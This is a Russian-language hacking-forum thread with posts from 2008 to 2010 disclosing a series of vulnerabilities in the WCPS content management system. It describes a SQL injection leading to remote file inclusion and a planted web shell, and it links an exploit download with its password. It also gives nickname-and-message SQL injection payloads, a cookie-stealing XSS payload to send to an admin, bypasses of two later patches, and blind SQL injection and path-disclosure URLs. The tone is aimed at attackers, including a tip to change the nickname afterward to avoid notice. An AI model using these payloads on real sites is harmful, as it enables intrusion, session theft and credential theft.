elseif ( 
is_array($_COOKIE)) {
 ...
}
...
//Так тут у нас есть SQL injection, тк переменная $op не проверяется.
@$query="SELECT name, value from ".$wcpref."information where modular='1' OR (modular='$nma' OR modular='$op' )";
if(
$result_info MYSQL_QUERY($query)){
  ...
  while (
$line MYSQL_FETCH_ROW($result_info)){
    
//А вот и интересная строчка. В скрипте создаются глобальные переменные
    //из запроса, который мы можем модифицировать.
    
$$line[0]=$line[1];
    ...
  }
}
...
//Ну а вот и инклуд.
if(!empty($_POST['set_skinlang'])){include("$portal_root/inc/set_skinlang.php");}
//Тоесть алгоритм действий такой. Мы юзаем SQL injection после чего создается
//новое значение для переменной $portal_root после чего мы сможем инклудить
//любой файл в том числе и удаленный. 
//Но как видно из кода только, когда:
//magic_globals_gpc=off
//register_globals=on
...
?>

2. Exploit
Немного об принципе работы эксплойта. Эксплойт имеет веб интерфейс. И не трудно заметить он умеет работать как и в режиме Remote include так и Local include. Зачем?

Так вот ни для кого ни секрет что не везде разрешен удаленный инклуд. В таком случае эксплойт загружает на сервер с wcps аватарку которую впоследствии инклудит. Иначе он вынуждает wcps инклудить файл с другого сервера со специально составленным php кодом, благодаря чему на сервер загружается веб шелл, URL до которого вы также должны будете указать в настройках експлойта.

Вообщем в обеих случаях при удачной эксплуатации мы имеем вебшелл, прочитанный конфиг и логины/хеши админов.

Ну и собственно сам эксплоит:
_http://ifolder.ru/7310117 (12кб)
Pass:dflgnrmgqwef

Dr.Z3r0 15.08.2008 22:50

SQL Injection in WCPS v.4.4.2
3.14здец вот еще одна тысячная по счету бага.


1. ОПИСАНИЕ
Вообщем не буду привдить примеры с кодом и тд т.к уязивмого кода будет очень много, и описывать все мне просто лень. Распишу на словах.

Вообщем в этой поганой цмс у каждого юзера существует его Ник и Логин. Они могут быть одинаковыми могут и нет. Вообщем Логин используется только для авторизации юзера, а соответственно его Ник выводится везде, типа рядом с его сообщениями ну и тд.

Проблема состоит в том что в этой цмс в качестве Ника можно использовать строку содержащую спецсимволы. Но все замечательно слешируется при попадании этого ника в БД при регестрации.

Но дело в том что инфа извлекается в массив SESSION при авторизации БЕЗ СЛЕШИРОВАНИЯ и используется в дальнейшем в своих запросах.

Это была проблема. А узявимость можно замутить в модуле приватных сообщений. Ну и тут можно привести немного кода. Файл mod/privat/new.php
PHP код:

$query="INSERT INTO ".$wcpref."privat VALUES ('', '$pmunames', '$pmsubject', '$_SESSION[user_fio]', '$now', '$pmmsn','1', '0') ";
 
mysql_query($query); 

Нормальный запрос принимает вид:
Код:

INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'Ник', 'Время', 'Сообщение','1', '0')
Ну казалось бы, ну и что здесь такого? А вот что. Регистрируем нового юзера с ником "bla'/*" (без ковычег "), в итоге наш запрос при создании становится немного неккоректным и будет выглядеть так:
Код:

INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*', 'Время', 'Сообщение','1', '0')
а превратить его в валидный достаточно просто, в теле сообщения пишем "*/,1,([SQL запрос]),1,0)/*" (без ковычег "), и получаем запрос с выводом в самом сообщении следующего плана:
Код:

INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*', 'Время', '*/,1,([SQL запрос]),1,0)/*','1', '0')
2. ЭКСПЛУАТАЦИЯ
Все было бы за**ись конешно, но тут присутствует одно маленькое е*антство как фильтрация слов user_login и user_pass а это как вы догадались имена полей с логинами и хешами в таблице с юзерами.

а. SQL injection
Так как вывести логины с хешами у вас не выйдет то юзабельность этой баги в этом смысле спадает на нет. Но все же пару советов для эксплуатации этой баги в качестве SQL-inj. Так как вывод идет в тело отправленного сообщения то юзать в качестве Адресата какого нибудь другого юзера - крайне не разумно. Можно указать свой Ник а идиально для этого зарегить еще один аккаунт.


b. Active XSS
Тут уже поинтереснее. Так как вывод идет в тело сообщения из БД без фильтрации то можно заюзать охуительную Active XSS "отправив" админу сообщение с нашим кодом. Плюс если заделать функциональный снифер, то получится помощнее чем простая SQL inj.

Как? Очень просто. В тело сообщения пишем(разумеется без второй строчки)
Код:

*/,1,(SELECT 0xCFF0E8E2E5F2213C7363726970743E616C65727428646F63756D656E742E636F6F6B6965293C2F7363726970743E),1,0) -- d
                            Привет!<script>alert(document.cookie)</script>

Ну вообщем тут можете фантазировать как хотите)

2. OUTRO
Вообще интересная бага, да и сам метод реализации.
Можно было бы засунуть весь запрос в ник, но смысла нету. Посему я выбрал разбить запрос на две части.
А и еще не забудьте потом поменять свой ник в профиле на что нить менее бросающееся в глаза)

Удачи...

Dr.Z3r0 23.08.2008 12:07

SQL Injection in WCPS v.4.4.3

Сцуко, чудики, они даже баги латать нормально не умеют =\.

Собственно заплатка предущей уязвимости:
PHP код:

if(!preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i"$logines)){
    print 
"Kernel panic";
    exit;
}
if(!
preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i"$admin_name)){
    print 
"Kernel panic";
    exit;


не ну не ппц ли? Вообщем этот зло**учий фильтр обходится элементарно.

Создаем юзера с ником "bla'/*bla" (без ковычег "), пишем PM сообщение "*/,1,([SQL запрос]),1,0)/*" (также без ковычег ") то есть все тоже самое как написанно выше, за исключением немного измененного Ника у юзера.

Удачи...
Авторам привет ;)

Dr.Z3r0 02.09.2008 19:20

SQL Injection in WCPS v5
И снова здравствуйте.

Собственно вы не поверете, и во второй раз эту же багу у них залатать не вышло, как ни смешно/грустно бы это не звучало.

В этой версии у них появился фильтр следующего рода:
PHP код:

$reg_login str_replace"'"'`'$reg_login ); 

то бишь кавычка в логине заменятеся на апосторф(ну или как этот символ зовтеся), то есть вроде мы запрос модифицировать не можем.

Ну а тогда представим следующий запрос к БД:
Код:

INSERT INRO ... VALUES (...,'[ваш логин]','[любое другое поле кторое вы можете изменить]',...)
Так вот так как вы можете использовать в своем логине слеш \. То можно сдвинуть запрос как бы на одну кавычку. Допустим ваш логин blablabla\ тогда запрос принимает вид:
Код:

INSERT INRO ... VALUES (...,'blablabla\','[любое другое поле кторое вы можете изменить]',...)
то есть мы выходим за кавычку и можем заюзать SQL injection.

PS теперь перед публикацией баги о ней будет сообщатся автору, кстати снова ему привет ;)

pinch 09.06.2010 14:53

SQL Injection in WCPS v5.2
Требуется авторизация в админке

Blind SQL inj.
http://wcps/admin.php?op=ban&flag=suser&active=view_user&modul =default&nl=1+and+substring(@@version,1,1)=5

Раскрытие путей.
http://wcps/admin.php?op=options&flag=valid&pers=russian&madul[]=1340000
http://wcps/admin.php?op=counter&flag=clear&action=08&ids[]=wc_counter_referer


Время: 21:29